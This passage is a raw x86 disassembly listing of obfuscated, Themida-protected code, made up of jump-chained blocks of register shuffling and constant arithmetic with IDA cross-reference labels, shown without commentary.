mov edi, 2
add ecx, edi
pop edi
xchg ecx, [esp]
jmp loc_59789F
; ---------------------------------------------------------------------------
lodsd
jmp loc_59A513
; ---------------------------------------------------------------------------
loc_5A5B2C: ; CODE XREF: Themida_:005A3024j
xor ebx, [esp]
mov esp, [esp]
movsx ecx, al
sub esp, 4
mov [esp], ebx
mov ebx, esp
push 532Ch
jmp loc_59B3B3
; ---------------------------------------------------------------------------
loc_5A5B47: ; CODE XREF: Themida_:005A954Fj
or eax, 47E25E70h
push edi
mov edi, 31A241D1h
xor edi, 743350C5h
xor edi, 10DD0CF4h
add eax, 555A089Ch
add eax, edi
sub eax, 555A089Ch
push dword ptr [esp]
pop edi
add esp, 4
xor eax, 0B3FC8907h
sub ebx, eax
pop eax
push 66D2h
mov [esp], ecx
mov ecx, 78BC5109h
jmp loc_5A141A
; ---------------------------------------------------------------------------
loc_5A5B8E: ; CODE XREF: Themida_:0059E845j
mov [esp], edi
jmp loc_59A3C5
; ---------------------------------------------------------------------------
loc_5A5B96: ; CODE XREF: Themida_:005A60CEj
push esi
mov esi, 4C93178Ch
jmp loc_59ED74
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
mov ebx, esp
push eax
jmp loc_5A70D2
; ---------------------------------------------------------------------------
loc_5A5BB9: ; CODE XREF: Themida_:005A8E6Aj
mov edx, [esp]
add esp, 4
mov esi, [esp]
jmp loc_5A49AE
; ---------------------------------------------------------------------------
loc_5A5BC7: ; CODE XREF: Themida_:00597606j
dec edi
not edi
push edx
mov edx, 2EA52E53h
or edi, edx
pop edx
jmp loc_5999D0
; ---------------------------------------------------------------------------
loc_5A5BD8: ; CODE XREF: Themida_:005A743Aj
mov [esp], edi
mov edi, 39B120F3h
dec edi
sub edi, 0FBB1F138h
sub eax, edi
push dword ptr [esp]
pop edi
add esp, 4
push esi
mov esi, 70E05F6Bh
xor esi, 5C6281Ch
inc esi
sub esi, 342C3FA9h
jmp loc_5A156D
; ---------------------------------------------------------------------------
loc_5A5C08: ; CODE XREF: Themida_:005A654Bj
add [ecx], ebx
jmp loc_59C7A6
; ---------------------------------------------------------------------------
loc_5A5C0F: ; CODE XREF: Themida_:0059E016j
neg eax
jmp loc_59B468
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 501Bh
mov [esp], ecx
mov ecx, esp
push ebx
mov ebx, 46B01144h
or ebx, 547A7A7Eh
sub ebx, 56FA7B7Ah
jmp loc_5A8203
; ---------------------------------------------------------------------------
loc_5A5C3A: ; CODE XREF: Themida_:00596FCDj
sub ebp, edi
pop edi
add edx, ebp
jmp loc_59AE3E
; ---------------------------------------------------------------------------
loc_5A5C44: ; CODE XREF: Themida_:005A81A1j
mov ebx, [esp]
add esp, 4
push 1116h
mov [esp], edi
mov edi, 54184287h
add ebx, edi
mov edi, [esp]
add esp, 4
mov dword ptr [edi+20h], 681B723Bh
dec dword ptr [edi+20h]
push esi
push ebx
mov ebx, 1C717067h
mov esi, ebx
mov ebx, [esp]
add esp, 4
dec esi
dec esi
push ecx
mov ecx, 157F1300h
push ebp
mov ebp, 3705994h
jmp loc_5A7EF7
; ---------------------------------------------------------------------------
loc_5A5C8E: ; CODE XREF: Themida_:0059DF01j
pop eax
push esi
mov esi, 74B209ACh
add [esp+4], esi
pop esi
sub dword ptr [esp], 4D811029h
sub esp, 4
jmp loc_5A2074
; ---------------------------------------------------------------------------
loc_5A5CAC: ; CODE XREF: Themida_:005A9D29j
mov [esp], eax
push dword ptr [esp]
push dword ptr [esp]
pop edx
jmp loc_59BDF6
; ---------------------------------------------------------------------------
loc_5A5CBB: ; CODE XREF: Themida_:005A3CCAj
push 2361h
jmp loc_5A6853
; ---------------------------------------------------------------------------
loc_5A5CC5: ; CODE XREF: Themida_:005A37B9j
sub bl, al
jmp loc_5A71D1
; ---------------------------------------------------------------------------
loc_5A5CCC: ; CODE XREF: Themida_:005A8C8Aj
mov [esp], eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5CD4: ; CODE XREF: Themida_:005A67D3j
push ebp
dec dword ptr [esp]
not dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
add ebp, 38CF5562h
add edx, ebp
mov ebp, [esp]
jmp loc_59DAF5
; ---------------------------------------------------------------------------
loc_5A5CF5: ; CODE XREF: Themida_:0059B60Fj
add esi, ebx
jmp loc_5AAD5E
; ---------------------------------------------------------------------------
loc_5A5CFC: ; CODE XREF: Themida_:0059EE70j
sub eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_59BCF6
; ---------------------------------------------------------------------------
loc_5A5D0D: ; CODE XREF: Themida_:005A7F99j
pop esp
jmp loc_5A512E
; ---------------------------------------------------------------------------
loc_5A5D13: ; CODE XREF: Themida_:005AAEFEj
mov ah, bh
push ebx
mov bl, ah
jmp loc_5A63CC
; ---------------------------------------------------------------------------
loc_5A5D1D: ; CODE XREF: Themida_:005A407Bj
add eax, 4B05444Eh
add eax, 98B4949h
sub eax, ecx
sub eax, 98B4949h
sub esp, 4
mov [esp], ebx
push eax
jmp loc_5A3AD0
; ---------------------------------------------------------------------------
loc_5A5D3A: ; CODE XREF: Themida_:005A4AB9j
xchg edi, [esp]
pop esp
mov [esp], eax
mov eax, 2A804085h
jmp loc_5983D2
; ---------------------------------------------------------------------------
loc_5A5D4B: ; CODE XREF: Themida_:00598DBAj
add edx, eax
add edx, 569967F0h
add edx, 29F12666h
pop eax
jmp loc_598222
; ---------------------------------------------------------------------------
loc_5A5D5F: ; CODE XREF: Themida_:0059856Aj
mov esi, 1
mov eax, esi
pop esi
push 4817h
mov [esp], ebx
mov ebx, 24h
jmp loc_59EBA2
; ---------------------------------------------------------------------------
loc_5A5D79: ; CODE XREF: Themida_:005A1A73j
add eax, ebp
pop ebp
push 6E77h
mov [esp], ebx
sub esp, 4
jmp loc_5A0965
; ---------------------------------------------------------------------------
loc_5A5D8C: ; CODE XREF: Themida_:0059FB7Bj
mov ecx, 3B54010Bh
sub ecx, 3B540107h
add esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push 5A06h
jmp loc_59B48D
; ---------------------------------------------------------------------------
loc_5A5DAD: ; CODE XREF: Themida_:00598A86j
xchg eax, [esp]
jmp loc_5A495A
; ---------------------------------------------------------------------------
loc_5A5DB5: ; CODE XREF: Themida_:0059EBFEj
mov ebp, eax
jmp loc_5A0821
; ---------------------------------------------------------------------------
loc_5A5DBC: ; CODE XREF: Themida_:00596C2Fj
sub edx, 0F41B5FC8h
mov edi, edx
mov edx, [esp]
jmp loc_59F796
; ---------------------------------------------------------------------------
loc_5A5DCC: ; CODE XREF: Themida_:005A7065j
mov ebp, esp
jmp loc_5A4356
; ---------------------------------------------------------------------------
loc_5A5DD3: ; CODE XREF: Themida_:0059C5FFj
pop esi
jmp loc_59E6DD
; ---------------------------------------------------------------------------
loc_5A5DD9: ; CODE XREF: Themida_:005A62CBj
dec esi
jmp loc_5A8682
; ---------------------------------------------------------------------------
loc_5A5DDF: ; CODE XREF: Themida_:005A75CBj
push esi
jmp loc_5AA062
; ---------------------------------------------------------------------------
loc_5A5DE5: ; CODE XREF: Themida_:005A7DA3j
add esp, 4
jmp loc_59D436
; ---------------------------------------------------------------------------
loc_5A5DED: ; CODE XREF: Themida_:005A4FA7j
add ebx, ecx
pop ecx
pop eax
pop edx
mov ebp, 3CA848C4h
sub ebp, 0C452EFBh
sub ebp, ebx
add ebp, 0C452EFBh
pop ebx
add edi, ebp
pop ebp
push edx
push 4
pop edx
add edi, edx
pop edx
jmp loc_59F738
; ---------------------------------------------------------------------------
loc_5A5E18: ; CODE XREF: Themida_:005A82B2j
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push esi
push esp
pop esi
jmp loc_5A6E9F
; ---------------------------------------------------------------------------
loc_5A5E33: ; CODE XREF: Themida_:00599487j
pop ebp
jmp loc_59D4C8
; ---------------------------------------------------------------------------
loc_5A5E39: ; CODE XREF: Themida_:0059FFAAj
mov ebp, 573B4114h
add ebp, 70DE2232h
inc ebp
not ebp
sub ebp, 0C0694CDBh
jmp loc_5A4D23
; ---------------------------------------------------------------------------
loc_5A5E52: ; CODE XREF: Themida_:0059F35Ej
mov [esp], edx
jmp loc_59FF83
; ---------------------------------------------------------------------------
loc_5A5E5A: ; CODE XREF: Themida_:0059C33Cj
mov [esp], eax
mov eax, esp
add eax, 4
push edx
mov edx, 50D93C52h
shr edx, 4
jmp loc_5A0ED2
; ---------------------------------------------------------------------------
loc_5A5E72: ; CODE XREF: Themida_:0059890Bj
sub eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
jmp loc_59977C
; ---------------------------------------------------------------------------
loc_5A5E88: ; CODE XREF: Themida_:005A43C0j
shl esi, 2
dec esi
jmp loc_5AA255
; ---------------------------------------------------------------------------
loc_5A5E91: ; CODE XREF: Themida_:0059B6D4j
push esi
mov esi, 1446033h
shl esi, 3
shr esi, 7
or esi, 13FE3C03h
jmp loc_59845A
; ---------------------------------------------------------------------------
loc_5A5EA8: ; CODE XREF: Themida_:005A8E3Bj
mov dh, al
pop eax
mov ch, dh
pop edx
jmp loc_59A07B
; ---------------------------------------------------------------------------
loc_5A5EB3: ; CODE XREF: Themida_:005A64E1j
push ecx
mov ch, dl
mov bl, ch
pop ecx
pop edx
mov ecx, [esp]
add esp, 4
jmp loc_5A52DB
; ---------------------------------------------------------------------------
loc_5A5EC8: ; CODE XREF: Themida_:005A3678j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub ebp, 0FFFFFFFFh
push dword ptr [edi+24h]
jmp loc_59E855
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
pop ebx
sub esp, 4
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
jmp loc_5A4916
; ---------------------------------------------------------------------------
loc_5A5EFE: ; CODE XREF: Themida_:005AABE9j
pop esp
xor ecx, 365DAF68h
sub ebx, ecx
mov ecx, [esp]
add esp, 4
sub ebx, eax
add ebx, 49A27494h
pop small word ptr [eax]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A5F20: ; CODE XREF: Themida_:005A970Ej
mov edi, esi
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 53947CCCh
add ebx, 707C1545h
sub ebx, 599D6846h
add edi, ebx
pop ebx
and edi, 28A21FCh
sub edi, 38h
push edx
mov edx, edi
mov ebp, edx
mov edx, [esp]
jmp loc_59D656
; ---------------------------------------------------------------------------
loc_5A5F56: ; CODE XREF: Themida_:00599F9Dj
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
jmp loc_598012
; ---------------------------------------------------------------------------
loc_5A5F67: ; CODE XREF: Themida_:005995DDj
sub esi, edx
pop edx
pop edx
sub esp, 4
jmp loc_5A6FFE
; ---------------------------------------------------------------------------
loc_5A5F76: ; CODE XREF: Themida_:0059A1DAj
pop ebx
jmp loc_59A779
; ---------------------------------------------------------------------------
push eax
push esp
jmp loc_59D482
; ---------------------------------------------------------------------------
loc_5A5F83: ; CODE XREF: Themida_:0059F30Dj
mov [esp], ecx
jmp loc_5A54A5
; ---------------------------------------------------------------------------
loc_5A5F8B: ; CODE XREF: Themida_:005A57FCj
mov edi, 30E64BE6h
jmp loc_5A54DB
; ---------------------------------------------------------------------------
loc_5A5F95: ; CODE XREF: Themida_:005A00C8j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A3FBB
; ---------------------------------------------------------------------------
loc_5A5FA8: ; CODE XREF: Themida_:00596515j
sub edi, 243E02E0h
jmp loc_5A37EB
; ---------------------------------------------------------------------------
loc_5A5FB3: ; CODE XREF: Themida_:0059B49Dj
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 207E6918h
not ecx
add ecx, 73B2D702h
sub edi, ecx
pop ecx
not edi
push edx
push ecx
jmp loc_5A1B43
; ---------------------------------------------------------------------------
loc_5A5FD3: ; CODE XREF: Themida_:005A2C47j
push ebp
mov ebp, 474E512Dh
mov eax, 11172971h
xor eax, ebp
jmp loc_597940
; ---------------------------------------------------------------------------
loc_5A5FE5: ; CODE XREF: Themida_:005997B7j
xor ecx, [esp]
jmp loc_59B902
; ---------------------------------------------------------------------------
loc_5A5FED: ; CODE XREF: Themida_:005A2F32j
pop ecx
push ebp
jmp loc_5A2AE7
; ---------------------------------------------------------------------------
loc_5A5FF4: ; CODE XREF: Themida_:005995B4j
mov cl, al
pop eax
sub al, 2Fh
add al, cl
push ecx
mov ch, 0Eh
not ch
jmp loc_5A5AD7
; ---------------------------------------------------------------------------
loc_5A6005: ; CODE XREF: Themida_:005A76E9j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_59C86D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A6020: ; CODE XREF: Themida_:0059B95Bj
sub esp, 4
mov [esp], eax
mov eax, 0C300E46h
neg eax
push 0
add dword ptr [esp], 10F2659Eh
jmp loc_5A4101
; ---------------------------------------------------------------------------
loc_5A603E: ; CODE XREF: Themida_:005A54ABj
push 1EB3h
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
pop ecx
add ecx, 4
jmp loc_5997A2
; ---------------------------------------------------------------------------
loc_5A605C: ; CODE XREF: Themida_:00598455j
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_5A776A
; ---------------------------------------------------------------------------
loc_5A6068: ; CODE XREF: Themida_:005A14DEj
xor bh, 95h
add al, 0B6h
sub al, bh
sub al, 0B6h
jmp loc_59BEF2
; ---------------------------------------------------------------------------
loc_5A6076: ; CODE XREF: Themida_:005A011Dj
add edi, 1F955C5Ah
neg edi
neg edi
jmp loc_5A2AC0
; ---------------------------------------------------------------------------
loc_5A6085: ; CODE XREF: Themida_:005AA3E0j
push ecx
push 4E790EC2h
mov ecx, [esp]
add esp, 4
sub ecx, 4E790EC0h
jmp loc_598AF9
; ---------------------------------------------------------------------------
loc_5A609F: ; CODE XREF: Themida_:005A1106j
inc esi
or esi, 47042C61h
shl esi, 8
jmp loc_5A84E0
; ---------------------------------------------------------------------------
loc_5A60AE: ; CODE XREF: Themida_:005AB41Ej
pop dword ptr [esp]
push 53BEh
mov [esp], esi
mov esi, 4
add [esp+4], esi
pop esi
push dword ptr [esp]
pop edx
add esp, 4
push edi
jmp loc_5A5B96
; ---------------------------------------------------------------------------
loc_5A60D3: ; CODE XREF: Themida_:005A201Cj
push edx
push ebx
mov ebx, 39937ADDh
not ebx
sub ebx, 1E915BD9h
push ebx
jmp loc_59F801
; ---------------------------------------------------------------------------
loc_5A60E8: ; CODE XREF: Themida_:0059C795j
sub edi, edx
sub edi, 129C6A04h
jmp loc_599D62
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push 62FCh
mov [esp], eax
jmp loc_5AB47E
; ---------------------------------------------------------------------------
loc_5A6114: ; CODE XREF: Themida_:005A8214j
pop esp
sub esp, 4
mov [esp], esi
mov esi, 54AA32C0h
sub edi, esi
pop esi
push dword ptr [esp]
pop edx
add esp, 4
and eax, edi
mov edi, [esp]
sub esp, 4
jmp loc_5A31D0
; ---------------------------------------------------------------------------
loc_5A613D: ; CODE XREF: Themida_:005A6F18j
pop eax
jmp loc_5A343B
; ---------------------------------------------------------------------------
loc_5A6143: ; CODE XREF: Themida_:00596397j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push 6EB3h
mov [esp], ebp
push 48B54418h
mov ebp, [esp]
push 440Ah
mov [esp], esi
push esp
pop esi
add esi, 4
jmp loc_5A700C
; ---------------------------------------------------------------------------
loc_5A6172: ; CODE XREF: Themida_:005A2ABBj
mov ch, 80h
push dx
push eax
mov ah, 76h
not ah
shl ah, 3
jmp loc_59E8F6
; ---------------------------------------------------------------------------
loc_5A6183: ; CODE XREF: Themida_:0059C1F4j
add esp, 4
or ecx, ecx
jz loc_59A6DE
push 0D18h
jmp loc_59E2D3
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push 446Dh
mov [esp], eax
mov eax, 4
add edi, eax
jmp loc_59F3C9
; ---------------------------------------------------------------------------
loc_5A61B3: ; CODE XREF: Themida_:00598362j
sub eax, 75261CCFh
sub edx, eax
pop eax
sub edx, eax
jmp loc_59A8A8
; ---------------------------------------------------------------------------
loc_5A61C2: ; CODE XREF: Themida_:005A99B8j
shl esi, 3
dec esi
push ebx
push esi
mov esi, 2EE550F7h
add esi, 1A9A3E95h
add esi, 52B2214Fh
add esi, 666E4920h
push edx
mov edx, esi
mov ebx, edx
pop edx
pop esi
jmp loc_5A4B73
; ---------------------------------------------------------------------------
loc_5A61EB: ; CODE XREF: Themida_:005974FDj
mov edx, [esp]
add esp, 4
add ebx, 3AED773Ah
inc ebx
inc ebx
add ebx, 0ADE469ADh
jmp loc_5A68AB
; ---------------------------------------------------------------------------
loc_5A6207: ; CODE XREF: Themida_:005A2B5Aj
add eax, 4
jmp loc_598AC5
; ---------------------------------------------------------------------------
loc_5A6211: ; CODE XREF: Themida_:005A8EFCj
and ecx, 2A1E7D94h
and ecx, 3E984C6Bh
xor ecx, 64462CA2h
jmp loc_59E22B
; ---------------------------------------------------------------------------
loc_5A6228: ; CODE XREF: Themida_:005A7765j
add ebp, esi
pop esi
xor ecx, ebp
pop ebp
push ebp
mov ebp, 0D0640B4Dh
jmp loc_5A991C
; ---------------------------------------------------------------------------
loc_5A6239: ; CODE XREF: Themida_:00595EAEj
mov [esp], esi
mov esi, 6D69346Fh
sub [esp+8], esi
pop esi
sub dword ptr [esp+4], 564C3274h
jmp loc_5A541D
; ---------------------------------------------------------------------------
loc_5A6253: ; CODE XREF: Themida_:005A3BE1j
push 1CDCh
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], esi
mov esi, 30AD12C6h
add esi, 36160B56h
dec esi
push ecx
mov ecx, 733D6191h
shr ecx, 8
neg ecx
or ecx, 2D2C3EE2h
dec ecx
push ebp
mov ebp, 66701D15h
sub ecx, ebp
pop ebp
jmp loc_5A6FC4
; ---------------------------------------------------------------------------
loc_5A6298: ; CODE XREF: Themida_:005AA08Dj
sub ebp, 4F351223h
mov eax, [esp]
add esp, 4
sub ebp, 0F1B1B50Dh
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
jmp loc_599CB9
; ---------------------------------------------------------------------------
loc_5A62C3: ; CODE XREF: Themida_:0059CCFEj
mov esi, 287D5E96h
shr esi, 5
jmp loc_5A5DD9
; ---------------------------------------------------------------------------
loc_5A62D0: ; CODE XREF: Themida_:005A389Dj
dec eax
add eax, 63666722h
sub eax, 0A0CEE23Bh
jmp loc_5A2AD9
; ---------------------------------------------------------------------------
loc_5A62E0: ; CODE XREF: Themida_:005A890Bj
mov edx, 629C7026h
shl edx, 3
jmp loc_5A32E0
; ---------------------------------------------------------------------------
loc_5A62ED: ; CODE XREF: Themida_:0059F014j
push 3F0F07FFh
jmp loc_5A1EE8
; ---------------------------------------------------------------------------
loc_5A62F7: ; CODE XREF: Themida_:005A1736j
pop esp
add esp, 4
xor [esp+4], ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5A8B1A
; ---------------------------------------------------------------------------
loc_5A6311: ; CODE XREF: Themida_:005977ECj
mov ecx, esi
pop esi
jmp loc_59A8A0
; ---------------------------------------------------------------------------
loc_5A6319: ; CODE XREF: Themida_:00598CBFj
pop edx
pop ebx
pop ebp
movzx eax, al
push dword ptr [edi+eax*4]
push 31E4h
mov [esp], ebx
jmp loc_59A221
; ---------------------------------------------------------------------------
loc_5A632F: ; CODE XREF: Themida_:005A586Bj
mov edx, esp
push eax
mov eax, 4
add edx, eax
jmp loc_5AA53F
; ---------------------------------------------------------------------------
loc_5A633E: ; CODE XREF: Themida_:00596EBDj
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_5985A5
; ---------------------------------------------------------------------------
loc_5A634D: ; CODE XREF: Themida_:005999F5j
pop eax
add ebx, ebp
add ebx, 61DF41E7h
pop ebp
xor ebx, [esp]
jmp loc_599FAD
; ---------------------------------------------------------------------------
loc_5A635F: ; CODE XREF: Themida_:005970F0j
sub ebp, 4
push ebp
jmp loc_59B66F
; ---------------------------------------------------------------------------
loc_5A636B: ; CODE XREF: Themida_:005A75ABj
xor bl, al
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A6379: ; CODE XREF: Themida_:0059E808j
mov ecx, 22EA1775h
not ecx
not ecx
or ecx, 4D854B0Ch
add ecx, 0C387341Ah
jmp loc_59B49B
; ---------------------------------------------------------------------------
loc_5A6393: ; CODE XREF: Themida_:0059E8CFj
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5A63EF
; ---------------------------------------------------------------------------
loc_5A639E: ; CODE XREF: Themida_:00598952j
pop ecx
jmp loc_5A96F1
; ---------------------------------------------------------------------------
loc_5A63A4: ; CODE XREF: Themida_:00598947j
pop ecx
jmp loc_5A9594
; ---------------------------------------------------------------------------
loc_5A63AA: ; CODE XREF: Themida_:005A7556j
pop eax
sub edx, ecx
push edi
mov edi, 7BA80CFDh
add edx, edi
pop edi
sub esp, 4
jmp loc_5A1D55
; ---------------------------------------------------------------------------
loc_5A63BE: ; CODE XREF: Themida_:0059FDEFj
mov ebp, esp
jmp loc_5A68BC
; ---------------------------------------------------------------------------
loc_5A63C5: ; CODE XREF: Themida_:0059D47Dj
sub eax, edi
jmp loc_5AAA6B
; ---------------------------------------------------------------------------
loc_5A63CC: ; CODE XREF: Themida_:005A5D18j
mov cl, bl
pop ebx
pop eax
pop bx
xor cl, al
pop eax
xor cl, bl
push dword ptr [esp]
jmp loc_5A52D5
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A63E7: ; CODE XREF: Themida_:005AAD76j
add esp, 4
jmp loc_5A0DE7
; ---------------------------------------------------------------------------
loc_5A63EF: ; CODE XREF: Themida_:005A6399j
jmp loc_595E8C
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_5A52AA
; ---------------------------------------------------------------------------
loc_5A6405: ; CODE XREF: Themida_:0059A7D0j
xchg eax, [esp]
jmp loc_5AAFFE
; ---------------------------------------------------------------------------
loc_5A640D: ; CODE XREF: Themida_:005A2A28j
add esp, 4
mov bl, dl
pop edx
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor bl, 44h
and al, bl
mov ebx, [esp]
add esp, 4
push 6894h
mov [esp], edi
push esp
pop edi
jmp loc_5A27FD
; ---------------------------------------------------------------------------
loc_5A6446: ; CODE XREF: Themida_:005973A9j
push eax
mov eax, 609A3028h
push ecx
jmp loc_5A0003
; ---------------------------------------------------------------------------
loc_5A6452: ; CODE XREF: Themida_:005A0763j
pop esi
jmp loc_5A1F47
; ---------------------------------------------------------------------------
loc_5A6458: ; CODE XREF: Themida_:0059E22Dj
pop ecx
push ecx
mov ecx, 0E4E33608h
sub edi, ecx
jmp loc_59F7D3
; ---------------------------------------------------------------------------
loc_5A6466: ; CODE XREF: Themida_:005A78D5j
add esi, ebp
mov ebp, [esp]
add esp, 4
push edx
mov edx, 1901213Bh
jmp loc_5A259F
; ---------------------------------------------------------------------------
loc_5A647C: ; CODE XREF: Themida_:00599051j
shr esi, 3
sub esi, 8682086h
or esi, 23DF213Fh
jmp loc_598980
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
jmp loc_59EBB0
; ---------------------------------------------------------------------------
loc_5A649A: ; CODE XREF: Themida_:005A9BC7j
sub esi, edx
jmp loc_5A6DCE
; ---------------------------------------------------------------------------
loc_5A64A1: ; CODE XREF: Themida_:0059FCF5j
pop esp
movsx ecx, ax
push 2627h
mov [esp], ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A64B2: ; CODE XREF: Themida_:00599E8Cj
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], ebp
push edx
push ecx
jmp loc_5A4304
; ---------------------------------------------------------------------------
loc_5A64C9: ; CODE XREF: Themida_:0059D96Ej
mov esi, esp
jmp loc_59A38D
; ---------------------------------------------------------------------------
loc_5A64D0: ; CODE XREF: Themida_:005A6B7Cj
pop esp
mov [esp], ebx
push ecx
mov ch, 62h
push 119Eh
mov [esp], edx
mov dl, ch
jmp loc_5A5EB3
; ---------------------------------------------------------------------------
loc_5A64E6: ; CODE XREF: Themida_:005A6696j
mov [esp], ebp
mov ebp, 100h
push 408Bh
mov [esp], ebp
push esi
mov esi, 69CF657Ch
add [esp+4], esi
mov esi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
sub edx, 69CF657Ch
mov ebp, [esp]
add esp, 4
and eax, edx
push dword ptr [esp]
mov edx, [esp]
jmp loc_5A7293
; ---------------------------------------------------------------------------
loc_5A652E: ; CODE XREF: Themida_:0059CB73j
pop edi
mov edx, ebp
mov ebp, [esp]
add esp, 4
mov ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
push ecx
mov ecx, 24h
add ecx, edi
jmp loc_5A5C08
; ---------------------------------------------------------------------------
loc_5A6550: ; CODE XREF: Themida_:005A869Fj
add ebx, 71DB4324h
add ebx, 648B5CBBh
jmp loc_5A043F
; ---------------------------------------------------------------------------
loc_5A6561: ; CODE XREF: Themida_:0059D8D6j
pop edi
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59C38F
; ---------------------------------------------------------------------------
loc_5A6578: ; CODE XREF: Themida_:0059C992j
sub eax, esi
pop esi
xchg eax, [esp]
jmp loc_5A7278
; ---------------------------------------------------------------------------
loc_5A6583: ; CODE XREF: Themida_:005991FCj
inc eax
push ecx
mov ecx, 347C47E6h
add eax, ecx
pop ecx
jmp loc_59699E
; ---------------------------------------------------------------------------
loc_5A6592: ; CODE XREF: Themida_:0059D326j
add ebx, 0D7FFE7E4h
add esi, ebx
pop ebx
xchg esi, [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A65AA: ; CODE XREF: Themida_:0059DFB9j
mov esi, edx
jmp loc_5A8A6A
; ---------------------------------------------------------------------------
loc_5A65B1: ; CODE XREF: Themida_:005A74D0j
add esp, 4
push 4AF9h
jmp loc_599D73
; ---------------------------------------------------------------------------
loc_5A65C1: ; CODE XREF: Themida_:005A2130j
push ebp
mov ebp, 2
sub eax, ebp
jmp loc_597357
; ---------------------------------------------------------------------------
loc_5A65CE: ; CODE XREF: Themida_:005A9449j
mov edx, [esp]
push ecx
jmp loc_5A33B6
; ---------------------------------------------------------------------------
loc_5A65D7: ; CODE XREF: Themida_:00597746j
mov ecx, esp
push 72Dh
jmp loc_5A3C0F
; ---------------------------------------------------------------------------
loc_5A65E3: ; CODE XREF: Themida_:0059B0CBj
pop eax
jmp loc_59EE9C
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5AA3E5
; ---------------------------------------------------------------------------
loc_5A65F1: ; CODE XREF: Themida_:00598E71j
movzx cx, ah
push small 62E4h
mov [esp], cx
jmp loc_5A44BD
; ---------------------------------------------------------------------------
loc_5A6602: ; CODE XREF: Themida_:0059FE39j
pop esi
add esp, 4
push 6508h
mov [esp], ecx
jmp loc_5AA4E6
; ---------------------------------------------------------------------------
loc_5A6616: ; CODE XREF: Themida_:005961B6j
push eax
mov eax, 5D7A465Bh
sub ebx, eax
pop eax
pop ebp
xor edx, eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A6627: ; CODE XREF: Themida_:0059E18Fj
push 4F66h
mov [esp], eax
push 354Dh
jmp loc_5A4FB2
; ---------------------------------------------------------------------------
loc_5A6639: ; CODE XREF: Themida_:005A9C49j
pop edx
sub ecx, 1
push ebx
mov ebx, 38B824h
sub ecx, ebx
jmp loc_5A0216
; ---------------------------------------------------------------------------
loc_5A664A: ; CODE XREF: Themida_:005A71CCj
pop esp
mov [esp], ebx
push 22B8h
mov [esp], edx
push esi
mov esi, 28730FDCh
jmp loc_598C84
; ---------------------------------------------------------------------------
loc_5A6661: ; CODE XREF: Themida_:00598169j
not byte ptr [esp]
pop bx
xchg bl, cl
xor cl, 5Ch
push eax
push edx
jmp loc_599753
; ---------------------------------------------------------------------------
loc_5A6672: ; CODE XREF: Themida_:0059AE39j
add esp, 4
jmp loc_5960EA
; ---------------------------------------------------------------------------
loc_5A667D: ; CODE XREF: Themida_:0059CC82j
add esp, 4
xor ebp, 4BE2946Fh
jmp loc_5A8C0C
; ---------------------------------------------------------------------------
loc_5A668B: ; CODE XREF: Themida_:005A768Bj
mov ecx, edi
pop edi
add esi, ecx
jmp loc_5A1B7D
; ---------------------------------------------------------------------------
loc_5A6695: ; CODE XREF: Themida_:0059D942j
pop esp
jmp loc_5A64E6
; ---------------------------------------------------------------------------
loc_5A669B: ; CODE XREF: Themida_:0059F175j
push 0A2000852h
pop eax
xor esi, eax
jmp loc_599090
; ---------------------------------------------------------------------------
loc_5A66A8: ; CODE XREF: Themida_:0059B57Aj
add bl, 37h
sub bl, dh
sub bl, 37h
pop dx
push eax
jmp loc_5A3889
; ---------------------------------------------------------------------------
loc_5A66B8: ; CODE XREF: Themida_:00596A7Cj
pop esp
add ecx, 0C57BC687h
push ebp
mov ebp, esp
add ebp, 4
